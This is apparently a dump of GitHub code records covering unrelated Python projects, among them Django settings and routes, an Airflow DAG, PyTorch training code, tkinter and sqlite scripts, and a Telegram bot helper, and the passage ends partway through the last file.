model_name='supply',\n name='tariff',\n field=models.DecimalField(default=1, verbose_name='\\u0422\\u0430\\u0440\\u0438\\u0444', max_digits=6, decimal_places=3),\n preserve_default=False,\n ),\n migrations.AlterField(\n model_name='supply',\n name='arrears',\n field=models.DecimalField(verbose_name='\\u0411\\u0430\\u043b\\u0430\\u043d\\u0441 \\u043d\\u0430 \\u0440\\u0430\\u0445\\u0443\\u043d\\u043a\\u0443', max_digits=6, decimal_places=2),\n ),\n ]\n","repo_name":"trivvet/payments","sub_path":"rent/migrations/0004_auto_20151001_1807.py","file_name":"0004_auto_20151001_1807.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20536791894","text":"from __future__ import annotations\n\nfrom datetime import datetime\n\nfrom airflow import models\nfrom airflow.providers.google.cloud.operators.dataflow import DataflowTemplatedJobStartOperator\nfrom airflow.providers.google.cloud.sensors.gcs import GCSObjectExistenceSensor\n\nDAG_ID = \"dataflow_template\"\n\nBUCKET_NAME = f\"alk-big-data-processing-w2\"\n\nFILE_NAME = \"pan-tadeusz.txt\"\nGCS_TMP = f\"gs://{BUCKET_NAME}/temp/\"\nGCS_STAGING = f\"gs://{BUCKET_NAME}/staging/\"\nGCS_OUTPUT = f\"gs://{BUCKET_NAME}/output\"\n\ndefault_args = {\n \"dataflow_default_options\": {\n \"tempLocation\": GCS_TMP,\n \"stagingLocation\": GCS_STAGING,\n }\n}\n\nwith models.DAG(\n DAG_ID,\n default_args=default_args,\n schedule_interval=\"@once\",\n start_date=datetime(2021, 1, 1),\n catchup=False,\n tags=[\"example\", \"dataflow\"],\n) as dag:\n gcs_object_exists = GCSObjectExistenceSensor(\n bucket=BUCKET_NAME,\n object=FILE_NAME,\n task_id=\"gcs_object_exists_task\",\n )\n\n start_template_job = DataflowTemplatedJobStartOperator(\n task_id=\"start_template_job\",\n project_id=\"{{ var.value.gcp_project }}\",\n template=\"gs://dataflow-templates/latest/Word_Count\",\n parameters={\"inputFile\": f\"gs://{BUCKET_NAME}/{FILE_NAME}\", \"output\": GCS_OUTPUT},\n location=\"{{ var.value.gce_region }}\",\n )\n\n gcs_object_exists >> start_template_job\n","repo_name":"13Kart/alk-big-data-processing","sub_path":"airflow/example_dataflow_template.py","file_name":"example_dataflow_template.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23611265531","text":"# Whitespace Formating\r\nfor i in [1,2,3,4,5]:\r\n print(i)\r\n for j in [1,2,3,4,5]:\r\n print(j)\r\n print(i+j)\r\n print(i)\r\nprint(\"done looping\")\r\n\r\nlist_of_list=[[1,2,3],\r\n [4,5,6],\r\n [7,8,9]]\r\n\r\nfrom collections import defaultdict, Counter\r\nlookup=defaultdict(int)\r\nmy_counter=Counter()\r\na=5//2\r\n\r\n# Functions\r\ndef double(x):\r\n return x*2\r\n\r\ndef apply_to_one(f):\r\n return f(1)\r\n\r\nmy_double=double\r\nx=apply_to_one(my_double)\r\ny=apply_to_one(lambda x:x+4)\r\n\r\n#Strings\r\nsingle_quoted_string='data science'\r\ndouble_quoted_string=\"data science\"\r\ntab_string=\"\\t\"\r\nprint(0/0)\r\n\r\n# List\r\ninteger_list=[1,2,3]\r\nheterogeneous_list=[\"string\",0.1,True]\r\nlist_of_list=[integer_list,heterogeneous_list,[]]\r\nlist_length=len(integer_list)\r\nlist_sum=sum(integer_list)\r\n\r\nprint(0 in [1,2,3])\r\nx,y,z=integer_list\r\n\r\n# Tuples\r\ndef sum_and_prod(x,y):\r\n return (x+y),(x*y)\r\nsp=sum_and_prod(2,3)\r\n\r\nx,y=1,2\r\nx,y=y,x\r\n\r\n# Dictionaries\r\nempty_dict={}\r\nempty_dict2=dict()\r\ngrades={\"Joel\":80,\"Tim\":95}\r\n\r\ntweet={\r\n \"user\":\"joelgrus\",\r\n \"text\":\"Data science is awesome\",\r\n \"retweet_count\":100,\r\n \"hashtags\":[\"#data\",\"#science\",\"#datascience\",\"#awesome\",\"#yolo\"]}\r\nprint(tweet.keys())\r\ntweet_values=list(tweet.values())\r\nprint(\"joelgrus\" in tweet.values())\r\n\r\n#Defaultdict\r\ndd_list=defaultdict(list)\r\ndd_list[2].append(1)\r\n\r\ndd_dict=defaultdict(dict)\r\ndd_dict[\"Joel\"][\"City\"]=\"Seattle\"\r\n\r\ndd_pair=defaultdict(lambda:[0,0])\r\ndd_pair[2][1]=1\r\n\r\n#Counter\r\nc=Counter([0,1,2,0])\r\n\r\n#Sets\r\na=set('abracadabra')\r\ns={1,2,3,4,2,1}\r\nprint(s)\r\naux=set()\r\naux.add(1)\r\naux.add(2)\r\naux.add(1)\r\nprint(len(aux))\r\nprint(aux)\r\nx={'a','b','c'}\r\nprint(x)\r\n\r\nitem_list=[1,2,3,1,2,3]\r\nnum_items=len(item_list)\r\nitem_set=list(set(item_list))\r\nprint(set(item_list))\r\n\r\n# Control Flow\r\nx=3\r\nparity=\"even\" if x % 2 == 0 else \"odd\"\r\n\r\nx=0\r\nwhile x<10:\r\n print(x, \"is less than 10\")\r\n x +=1\r\n\r\nfor x in range(10):\r\n if x==3:\r\n continue\r\n if x==5:\r\n break\r\n print(x)\r\n\r\n#Truthiness\r\nall([True,1,{3}])\r\nall([True,1,{}])\r\nany([True,1,{}])\r\nall([])\r\nany([])\r\n\r\n# Sorting\r\nx=[4,1,2,3]\r\ny=sorted(x)\r\nx.sort()\r\n\r\nx=sorted([-4,1,-2,3],key=abs,reverse=True)\r\n\r\n#List Comprehensions\r\neven_numbers=[x for x in range(5) if x%2 ==0]\r\nsquares=[x*x for x in range(5)]\r\neven_squares=[x*x for x in even_numbers]\r\n\r\nsquare_dict={x:x*x for x in range(5)}\r\nsquare_set={x*x for x in [1,-1]}\r\nprint(square_set)\r\n\r\npairs=[(x,y)\r\n for x in range(10)\r\n for y in range(5)]\r\naux=list(range(3,10))\r\nincreasing_pairs=[(x,y)\r\n for x in range(10)\r\n for y in range(x+1,10)]\r\n\r\n# Randomness\r\nimport random\r\nfour_uniform_randoms=[random.random() for _ in range(4)]\r\n\r\nup_to_ten=list(range(2,10))\r\nrandom.shuffle(up_to_ten)\r\nprint(up_to_ten)\r\n\r\nlottery_numbers=list(range(60))\r\nwinning_numbers=random.sample(lottery_numbers,6)\r\nfour_with_replacement=[random.choice(range(10))\r\n for _ in range(4)]\r\n\r\n#Functional tools\r\nfrom functools import partial\r\ndef double(x):\r\n return 2*x\r\n\r\nxs=[1,2,3,4]\r\ntwice_xs=[double(x) for x in xs]\r\ntwice_xs2=list(map(double,xs))\r\nlist_doubler=partial(map,double)\r\ntwice_xs3=list(list_doubler(xs))\r\n\r\ndef multiply(x,y): return x*y\r\nproducts=list(map(multiply,[1,2],[4,5]))\r\n\r\ndef is_even(x): return x%2==0\r\nx_evens=list(filter(is_even,xs))\r\nlist_evener=partial(filter,is_even)\r\nx_evens2=list(list_evener(xs))\r\n\r\n# Zip\r\nlist1=[\"a\",\"b\",\"c\"]\r\nlist2=[1,2,3]\r\na=list(zip(list1,list2))\r\nletters,numbers=zip(*a)\r\n","repo_name":"VictorPuglieseManotas/DataScience","sub_path":"DSS_Example_Chap02_01.py","file_name":"DSS_Example_Chap02_01.py","file_ext":"py","file_size_in_byte":3528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3907357154","text":"from django.urls import include, path\nfrom rest_framework.routers import SimpleRouter\n\nfrom users.views import UserRegistrations, UserRegistrationsToken, UserViewSet\n\nfrom .views import (CategoriesViewSet, CommentViewSet, GenresViewSet,\n ReviewViewSet, TitlesViewSet)\n\nrouter = SimpleRouter()\n\nrouter.register(\n 'users',\n UserViewSet, basename='users'\n)\nrouter.register('categories', CategoriesViewSet)\nrouter.register('genres', GenresViewSet)\nrouter.register('titles', TitlesViewSet)\nrouter.register(\n r'titles/(?P<title_id>\\d+)/reviews',\n ReviewViewSet\n)\nrouter.register(\n r'titles/(?P<title_id>\\d+)/reviews/(?P<review_id>\\d+)/comments',\n CommentViewSet\n)\n\n\nurlpatterns = [\n path('v1/email/', UserRegistrations.as_view()),\n path('v1/auth/token/', UserRegistrationsToken.as_view()),\n path('v1/', include(router.urls)),\n]\n","repo_name":"EvansPauliuts/yamdb_final","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38879648957","text":"from .base import *\n\nsecrets = json.loads(open(SECRETS_PRODUCTION, 'rt').read())\nset_config(secrets, module_name=__name__, start=True)\n\nDEBUG = False\nALLOWED_HOSTS = [\n 'localhost',\n '127.0.0.1',\n '.elasticbeanstalk.com',\n '.chan428.kr',\n '172.31.6.244',\n\n]\n\n\ndef is_ec2_linux():\n \"\"\"Detect if we are running on an EC2 Linux Instance\n See http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/identify_ec2_instances.html\n \"\"\"\n if os.path.isfile(\"/sys/hypervisor/uuid\"):\n with open(\"/sys/hypervisor/uuid\") as f:\n uuid = f.read()\n return uuid.startswith(\"ec2\")\n return False\n\n\ndef get_linux_ec2_private_ip():\n \"\"\"Get the private IP Address of the machine if running on an EC2 linux server\"\"\"\n from urllib.request import urlopen\n if not is_ec2_linux():\n return None\n try:\n response = urlopen('http://172.31.6.244/latest/meta-data/local-ipv4')\n ec2_ip = response.read().decode('utf-8')\n if response:\n response.close()\n return ec2_ip\n except Exception as e:\n print(e)\n return None\n\n\nprivate_ip = get_linux_ec2_private_ip()\nif private_ip:\n ALLOWED_HOSTS.append(private_ip)\nWSGI_APPLICATION = 'config.wsgi.production.application'\nINSTALLED_APPS += [\n 'storages',\n]\n# S3대신 EC2에서 정적파일을 제공 (프리티어의 Put사용량 절감)\n# STATICFILES_STORAGE = 'config.storage.StaticFilesStorage'\nDEFAULT_FILE_STORAGE = 'config.storage.DefaultFileStorage'\n","repo_name":"ChanPP/Project-point","sub_path":"app/config/settings/production.py","file_name":"production.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39274145605","text":"from tkinter import *\r\nfrom tkinter.font import Font\r\nimport sqlite3\r\n\r\n\r\n\r\nroot = Tk()\r\nroot.title('Available Vacancies')\r\nroot.config(bg=\"#4A78A9\")\r\nroot.iconbitmap('logo..ico')\r\nmy_font0 = Font(\r\n family='Lucida sans',\r\n size=8,\r\n weight='bold',\r\n slant='roman',\r\n overstrike=0)\r\n\r\nmy_font = Font(\r\n family='Lucida sans',\r\n size=13,\r\n weight='bold',\r\n slant='roman',\r\n overstrike=0)\r\n\r\nmy_font1 = Font(\r\n family='Lucida sans',\r\n size=15,\r\n weight='bold',\r\n slant='roman',\r\n overstrike=0)\r\nmy_font2 = Font(\r\n family='Lucida sans',\r\n size=25,\r\n weight='bold',\r\n slant='roman',\r\n overstrike=0)\r\nmy_font3 = Font(\r\n family='Lucida sans',\r\n size=14,\r\n weight='bold',\r\n slant='roman',\r\n overstrike=0)\r\nmy_font4 = Font(\r\n family='Lucida sans',\r\n size=20,\r\n weight='bold',\r\n slant='roman',\r\n overstrike=0)\r\n# databases\r\n\r\n# create a databases or connect to one\r\nconn = sqlite3.connect('Vacancy.db')\r\n\r\n# create cursor\r\nc = conn.cursor()\r\nc.execute(\"SELECT * FROM details\")\r\n\r\ndataa = c.fetchall()\r\ndis1 = Label(root, text=f'Following are the Available Vacancies for you. All THE BEST!', font=my_font, padx=30, pady=30, bg=\"#4A78A9\")\r\ndis1.grid(row=0, column=0)\r\ny = 0\r\nfor z in dataa:\r\n y = y + 1\r\n a,b,c,d,e,f,g,h,i,j,k = z\r\n dis = Label(root, text=f'{y}: Company: {a}, Address: {b}, Language: {c}, Field: {d}, Skills: {e}, Salary: {f}, Contact: {g}, Qualification: {h}, Anything Else: {i}, Email: {j}, Year of Experience: {k}', font=my_font0, bg = \"#4A78A9\", pady=10, padx=5)\r\n dis.grid(row=y, column=0)\r\n\r\n\r\n\r\n\r\nconn.commit()\r\nconn.close()\r\nroot.mainloop()\r\n","repo_name":"kiyo-9/CV-ANCIES","sub_path":"recpop.py","file_name":"recpop.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"8735293763","text":"import json\nimport sqlite3\n\npJson = json.load(open('profs.json'))\ncpJson = json.load(open('caNamesProfs.json'))\ndb = sqlite3.connect(\"courses.db\")\nc = db.cursor()\n# populate prof table\ncolumns = ['email', 'firstName', 'lastName']\nquery = \"insert into profs values (?,?,?)\"\n\nfor prof in pJson:\n # http://stackoverflow.com/questions/8811783/convert-json-to-sqlite-in-python-how-to-map-json-keys-to-database-columns-prop\n keys = tuple(prof[c] for c in columns) \n c.execute(query, keys)\n\n# populate prof table\ncolumns = ['caName', 'email']\nquery = \"insert into coursesprofs values (?,?)\"\n\nfor pair in cpJson:\n keys = tuple(pair[c] for c in columns) \n c.execute(query, keys)\n\ndb.commit() #save database\ndb.close()\n","repo_name":"tlewismedia/cs419-group5-repo","sub_path":"coursesDB/dbprofloader.py","file_name":"dbprofloader.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29991829948","text":"import torch\nfrom torch import abs, sigmoid, log, sum, mean, clamp\n\n\nclass WeightedBinaryCrossEntropyLoss(torch.nn.Module):\n\n def __init__(self, reduction='mean'):\n super().__init__()\n if reduction == 'mean':\n self.reduction = mean\n elif reduction == 'sum':\n self.reduction = sum\n else:\n raise ValueError('Unsupported reduction method {:s}'.format(reduction))\n\n def forward(self, estimates, target, exponents=1., term_weights=1.):\n\n estimates = sigmoid(estimates)\n estimates = clamp(estimates, min=1e-15, max=1.-1e-15)\n\n #p_weights = (1. - estimates).pow(exponents)\n #q_weights = estimates.pow(exponents)\n\n p_weights = abs(1. - estimates)\n q_weights = abs(estimates)\n\n p = log(estimates)\n q = log(1. - estimates)\n\n p_cross_entropy = target * p * p_weights\n q_cross_entropy = (1. - target) * q * q_weights\n\n loss = p_cross_entropy + q_cross_entropy\n loss = self.reduction(-loss * term_weights)\n return loss\n","repo_name":"timmlerc/pnet","sub_path":"phocnet/src/cnn/losses/weighted_binary_cross_entropy.py","file_name":"weighted_binary_cross_entropy.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9653490370","text":"import argparse\n\nfrom injector import Injector\n\nfrom src.application.domain.service.training_service import TrainingServiceModule\nfrom src.application.service.learning_service import LearningService, LearningServiceModule\n\n\ndef main(args):\n injector = Injector([LearningServiceModule(), TrainingServiceModule()])\n learning_service = injector.get(LearningService)\n\n learning_service.run(args.config, args.test)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-c', '--config', required=True)\n parser.add_argument('--test', action='store_true')\n args = parser.parse_args()\n\n main(args)\n","repo_name":"tommyfms2/general_trainer","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4001816504","text":"from tensorflow.python.distribute import multi_process_runner\nfrom tensorflow.python.distribute import multi_worker_test_base\nfrom tensorflow.python.eager import test\n\n\nclass MultiProcessRunnerNoInitTest(test.TestCase):\n\n def test_not_calling_correct_main(self):\n\n def simple_func():\n return 'foobar'\n\n with self.assertRaisesRegex(multi_process_runner.NotInitializedError,\n '`multi_process_runner` is not initialized.'):\n multi_process_runner.run(\n simple_func,\n multi_worker_test_base.create_cluster_spec(num_workers=1))\n\n\nif __name__ == '__main__':\n # Intentionally not using `multi_process_runner.test_main()` so the error\n # would occur.\n test.main()\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/python/distribute/multi_process_runner_no_init_test.py","file_name":"multi_process_runner_no_init_test.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"} +{"seq_id":"13344893977","text":"from pptx import Presentation\nfrom pypptx import nsmap, a, p, shape, color\n\nprs = Presentation()\nslide = prs.slides.add_slide(prs.slidelayouts[6])\nshapes = slide._element.find('.//p:spTree', namespaces=nsmap)\n\nshp = shape('ellipse', 0, 0, 999999, 999999)\nshapes.append(shp)\n\n# Fill with a scheme colour\nshp.spPr.append(a.solidFill(color(\n schemeClr='accent2', # 2nd theme colour\n tint='50%', # 50% white mixed\n alpha='30%' # 30% opaque, 70% transparent\n)))\n\nshp = shape('ellipse', 999999, 0, 999999, 999999)\nshapes.append(shp)\n\n# Fill with an RGB colour\nshp.spPr.append(a.solidFill(color(\n srgbClr='FF0000', # Red\n shade='50%', # 50% black mixed\n sat='30%' # 30% saturation\n)))\n\nshp = shape('ellipse', 0, 999999, 999999, 999999)\nshapes.append(shp)\n\n# Fill with an RGB colour\nshp.spPr.append(a.gradFill(\n a.gsLst(\n a.gs(color(schemeClr='accent2', tint= '0%'), pos=\"0\"),\n a.gs(color(schemeClr='accent2', tint='20%'), pos=\"50000\"),\n a.gs(color(schemeClr='accent2', tint='40%'), pos=\"100000\"),\n ),\n a.lin(ang='2700000', scaled='1'), # out of 21600000 = 1/8 = 45 degrees\n))\n\n# Add a line\nshp.spPr.append(a.ln(\n a.solidFill(color( # Solid fill with\n schemeClr='accent2', # 2nd theme colour\n shade='20%', # 20% black mixed\n alpha='50%', # 50% transparent\n )),\n w='3175', # 0.25pt stroke width\n))\n\n# Add text\nshp.append(p.txBody(\n a.bodyPr(anchor='ctr'), # vertically center the text\n a.p(\n a.pPr(algn='ctr'), # horizontally center the text\n a.r(a.t('abc')),\n)))\nprs.save('sample.pptx')\n","repo_name":"gramener/pypptx","sub_path":"sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"8482592548","text":"# Faça um programa que tenha uma função chamada ficha(), que receba dois parâmetros opcionais: o nome de um jogador e quantos gols ele marcou. O programa deverá ser capaz de mostrar a ficha do jogador, mesmo que algum dado não tenha sido informado corretamente.\n\ndef ficha(jogador='<desconhecido>', gols=0):\n print(f'O jogador {jogador} fez {gols} gol(s) no campeonato')\n\n\njogador = str(input('Nome do jogador: ')) .strip() .upper()\nnunGols = str(input('Numeros de gols: ')) .strip()\n\nif nunGols.isnumeric():\n nunGols = int(nunGols)\nelse:\n nunGols = 0\n\nwhile True:\n if len(jogador) + nunGols == 0:\n ficha()\n elif jogador == '' and nunGols >= 0:\n ficha(gols=nunGols)\n elif len(jogador) >= 1 and not nunGols:\n ficha(jogador)\n else:\n ficha(jogador,nunGols)\n break","repo_name":"RodrigoArgenton/testepython","sub_path":"3 - Mundo 3/4 - Função/desafio103.py","file_name":"desafio103.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"70989190761","text":"from pathlib import Path\nimport time\nimport re\nimport sys\nfrom utils.shell import Shell\nspike_exp = re.compile(\"SPIKE : \\t (?P<val>\\d+\\.*\\d*)\\t (?P<idvec>[0-9]+) \\\n \\[(?P<pid>\\d+)\\]\")\nstart_exp = re.compile(\"\\[(?P<pid>\\d+)\\] NC = (?P<nc>\\d+), SYN = (?P<syn>\\d+), \\\n tmp_pre = (?P<tmp_pre>\\d+), \\\n tmp_post = (?P<tmp_post>\\d+)\")\nend_exp = re.compile(\"\\[(?P<pid>\\d+)\\] nsendmax=(?P<nsendmax>\\d+) \\\n nsend=(?P<nsend>\\d+) nrecv=(?P<nrecv>\\d+) \\\n nrecv_useful=(?P<nrecv_useful>\\d+)\")\ntime_exp = re.compile(\n \"\\s+\\* core time : (?P<decimal>\\d+).(?P<float>\\d+) sec\\s+\")\ndir_path = \"neuron_kplus/hoc/\"\n\n\nclass Summarizer:\n \"\"\"\n \"\n \"\"\"\n def __init__(self):\n self.shell = Shell()\n\n def summary(self, job_id, job_cnt):\n core_time = self.obtain_time(\"job{0}.sh.o{1}\".format(job_cnt, job_id))\n\n # self.clean_up(job_type, job_id)\n self.clean_up(job_cnt, job_id)\n return core_time\n\n def obtain_time(self, filename):\n f_check = Path(\"{0}{1}\".format(dir_path, filename))\n while not f_check.exists():\n time.sleep(5)\n f = open(\"{0}{1}\".format(dir_path, filename))\n lines = f.readlines()\n f.close()\n for line in lines:\n m = time_exp.match(line)\n if m:\n calc_time = int(m.group(\"decimal\")) +\\\n int(m.group(\"float\")) * 10**(-len(m.group(\"float\")))\n print(calc_time)\n return calc_time\n\n def clean_up(self, job_cnt, job_id):\n self.shell.execute(\n \"cp\",\n [\"job{0}.sh.o{1} ../../tmp/\".format(job_cnt, job_id)],\n [],\n dir_path\n )\n self.shell.execute(\n \"cp\",\n [\"job{0}.sh.e{1} ../../tmp/\".format(job_cnt, job_id)],\n [],\n dir_path\n )\n self.shell.execute(\n \"rm\",\n [\n \"job{0}.sh.o{1}\".format(job_cnt, job_id),\n \"job{0}.sh.e{1}\".format(job_cnt, job_id),\n ],\n [\"-f\"],\n dir_path\n )\n","repo_name":"hashmup/genie","sub_path":"genie/simulator/summarizer.py","file_name":"summarizer.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"24472920945","text":"import os\nimport torch\nimport importlib\nimport os.path as osp\nfrom trainers.base_trainer import BaseTrainer\nfrom models.igp_wrapper import distillation, deformation, correction\nfrom trainers.utils.utils import set_random_seed\nfrom trainers.losses.eikonal_loss import loss_eikonal\nfrom trainers.losses.filtering_losses import loss_boundary, loss_lap\n\n\nclass Trainer(BaseTrainer):\n\n def __init__(self, cfg, args, original_decoder=None):\n super().__init__(cfg, args)\n self.cfg = cfg\n self.args = args\n self.dim = 3\n\n set_random_seed(getattr(self.cfg.trainer, \"seed\", 666))\n\n # The networks\n if original_decoder is None:\n if not hasattr(cfg.models, \"net\"):\n cfg.models.net = cfg.models.decoder\n sn_lib = importlib.import_module(cfg.models.net.type)\n self.original_decoder = sn_lib.Net(cfg, cfg.models.net)\n self.original_decoder.cuda()\n self.original_decoder.load_state_dict(\n torch.load(cfg.models.net.path)['net'])\n print(\"Original Decoder:\")\n print(self.original_decoder)\n else:\n self.original_decoder = original_decoder\n\n # Get the wrapper for the operation\n self.wrapper_type = getattr(\n cfg.trainer, \"wrapper_type\", \"distillation\")\n if self.wrapper_type in ['distillation']:\n self.decoder, self.opt_dec, self.scheduler_dec = distillation(\n cfg, self.original_decoder,\n reload=getattr(self.cfg.trainer, \"reload_decoder\", True))\n elif self.wrapper_type in ['correction']:\n self.decoder, self.opt_dec, self.scheduler_dec = correction(\n cfg, self.original_decoder)\n elif self.wrapper_type in ['deformation']:\n self.decoder, self.opt_dec, self.scheduler_dec = deformation(\n cfg, self.original_decoder)\n else:\n raise ValueError(\"wrapper_type:\", self.wrapper_type)\n\n # Prepare save directory\n os.makedirs(osp.join(cfg.save_dir, \"images\"), exist_ok=True)\n os.makedirs(osp.join(cfg.save_dir, \"checkpoints\"), exist_ok=True)\n os.makedirs(osp.join(cfg.save_dir, \"val\"), exist_ok=True)\n\n # Set-up counter\n self.num_update_step = 0\n self.boundary_points = None\n\n # The [beta] that controlls how smooth/sharp the output shape should be\n # If beta > 1, then the output shape will increase in curvature\n # so it will be sharper\n # If beta < 1, then the output shape will decrease in curvature\n # so it will be smoother.\n # beta should be > 0.\n self.beta = getattr(self.cfg.trainer, \"beta\", 1.)\n\n # whether plot histogram for network weights\n self.show_network_hist = getattr(\n self.cfg.trainer, \"show_network_hist\", False)\n\n def update(self, _, *args, **kwargs):\n self.num_update_step += 1\n if 'no_update' in kwargs:\n no_update = kwargs['no_update']\n else:\n no_update = False\n if not no_update:\n self.decoder.train()\n self.opt_dec.zero_grad()\n\n boundary_loss_weight = float(getattr(\n self.cfg.trainer, \"boundary_weight\", 1.))\n boundary_loss_num_points = int(getattr(\n self.cfg.trainer, \"boundary_num_points\", 0))\n boundary_loss_points_update_step = int(getattr(\n self.cfg.trainer, \"boundary_loss_points_update_step\", 1))\n boundary_loss_use_surf_points = int(getattr(\n self.cfg.trainer, \"boundary_loss_use_surf_points\", True))\n if boundary_loss_weight > 0. and boundary_loss_num_points > 0:\n if self.num_update_step % boundary_loss_points_update_step == 0:\n self.boundary_points = None\n loss_y_boundary, self.boundary_points = loss_boundary(\n (lambda x: self.original_decoder(x)),\n (lambda x: self.decoder(x)),\n npoints=boundary_loss_num_points,\n x=self.boundary_points,\n dim=self.dim,\n use_surf_points=boundary_loss_use_surf_points)\n loss_y_boundary = loss_y_boundary * boundary_loss_weight\n else:\n loss_y_boundary = torch.zeros(1).float().cuda()\n\n grad_norm_weight = float(getattr(\n self.cfg.trainer, \"grad_norm_weight\", 1e-2))\n grad_norm_num_points = int(getattr(\n self.cfg.trainer, \"grad_norm_num_points\", 5000))\n if grad_norm_weight > 0. and grad_norm_num_points > 0:\n loss_unit_grad_norm = loss_eikonal(\n lambda x: self.decoder(x),\n npoints= grad_norm_num_points,\n use_surf_points=False, invert_sampling=False\n )\n loss_unit_grad_norm *= grad_norm_weight\n else:\n loss_unit_grad_norm = torch.zeros(1).float().cuda()\n\n lap_loss_weight = float(getattr(\n self.cfg.trainer, \"lap_loss_weight\", 1e-4))\n lap_loss_threshold = int(getattr(\n self.cfg.trainer, \"lap_loss_threshold\", 50))\n lap_loss_num_points = int(getattr(\n self.cfg.trainer, \"lap_loss_num_points\", 5000))\n if lap_loss_weight > 0. and lap_loss_num_points > 0:\n loss_lap_scaling = loss_lap(\n (lambda x: self.original_decoder(x)),\n (lambda x: self.decoder(x)),\n npoints=lap_loss_num_points,\n beta=self.beta,\n masking_thr=lap_loss_threshold,\n )\n loss_lap_scaling = loss_lap_scaling * lap_loss_weight\n else:\n loss_lap_scaling = torch.zeros(1).float().cuda()\n\n loss = loss_unit_grad_norm + loss_y_boundary + loss_lap_scaling\n if not no_update:\n loss.backward()\n self.opt_dec.step()\n\n return {\n 'loss': loss.detach().cpu().item(),\n 'scalar/loss/loss': loss.detach().cpu().item(),\n 'scalar/loss/loss_boundary': loss_y_boundary.detach().cpu().item(),\n 'scalar/loss/loss_eikonal': loss_unit_grad_norm.detach().cpu().item(),\n 'scalar/loss/loss_lap_scaling': loss_lap_scaling.detach().cpu().item(),\n 'scalar/weight/loss_boundary': boundary_loss_weight,\n 'scalar/weight/loss_eikonal': grad_norm_weight,\n 'scalar/weight/loss_lap': lap_loss_weight,\n }\n\n def log_train(self, train_info, train_data, writer=None,\n step=None, epoch=None, visualize=False, **kwargs):\n if writer is None:\n return\n writer_step = step if step is not None else epoch\n\n # Log training information to tensorboard\n train_info = {k: (v.cpu() if not isinstance(v, float) else v)\n for k, v in train_info.items()}\n for k, v in train_info.items():\n ktype = k.split(\"/\")[0]\n kstr = \"/\".join(k.split(\"/\")[1:])\n if ktype == 'scalar':\n writer.add_scalar(kstr, v, writer_step)\n\n if self.show_network_hist:\n for name, p in self.decoder.named_parameters():\n writer.add_histogram(\"hist/%s\" % name, p, writer_step)\n\n if visualize:\n # NOTE: trainer sub class should implement this function\n self.visualize(train_info, train_data, writer=writer, step=step,\n epoch=epoch, visualize=visualize, **kwargs)\n\n def validate(self, test_loader, epoch, *args, **kwargs):\n return {}\n\n def save(self, epoch=None, step=None, appendix=None, **kwargs):\n d = {\n 'orig_dec': self.original_decoder.state_dict(),\n 'opt_dec': self.opt_dec.state_dict(),\n 'dec': self.decoder.state_dict(),\n 'epoch': epoch,\n 'step': step\n }\n if appendix is not None:\n d.update(appendix)\n save_name = \"epoch_%s_iters_%s.pt\" % (epoch, step)\n path = osp.join(self.cfg.save_dir, \"checkpoints\", save_name)\n torch.save(d, path)\n\n def resume(self, path, strict=True, **kwargs):\n ckpt = torch.load(path)\n self.original_decoder.load_state_dict(ckpt['orig_dec'], strict=strict)\n self.decoder.load_state_dict(ckpt['dec'], strict=strict)\n self.opt_dec.load_state_dict(ckpt['opt_dec'])\n start_epoch = ckpt['epoch']\n return start_epoch\n\n def epoch_end(self, epoch, writer=None, **kwargs):\n if self.scheduler_dec is not None:\n self.scheduler_dec.step(epoch=epoch)\n if writer is not None:\n writer.add_scalar(\n 'train/opt_lr', self.scheduler_dec.get_lr()[0], epoch)\n","repo_name":"stevenygd/NFGP","sub_path":"trainers/smooth_sharpen.py","file_name":"smooth_sharpen.py","file_ext":"py","file_size_in_byte":8711,"program_lang":"python","lang":"en","doc_type":"code","stars":180,"dataset":"github-code","pt":"18"} +{"seq_id":"26433600074","text":"import os\nfrom typing import Optional\nfrom pyrogram import Client\nfrom common.info import gpt_admins\nfrom pyrogram.types import Message\nfrom pyrogram.enums.parse_mode import ParseMode\nfrom common.data import gpt_users_file, gpt_auth_info, bot_debug_info\nfrom pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton\n\n\nclass GPTAuth:\n def __init__(self):\n self.users = []\n self.read_users()\n if not self.users:\n self.users = gpt_admins.copy()\n\n def read_users(self):\n if os.path.isfile(gpt_users_file):\n with open(gpt_users_file, 'r') as file:\n users = file.read().splitlines()\n self.users = [int(user) for user in users]\n\n def write_users(self):\n with open(gpt_users_file, 'w') as file:\n file.write('\\n'.join([str(user) for user in self.users]))\n\n def add_user(self, user_id: int):\n if user_id not in self.users:\n self.users.append(user_id)\n self.write_users()\n\n def 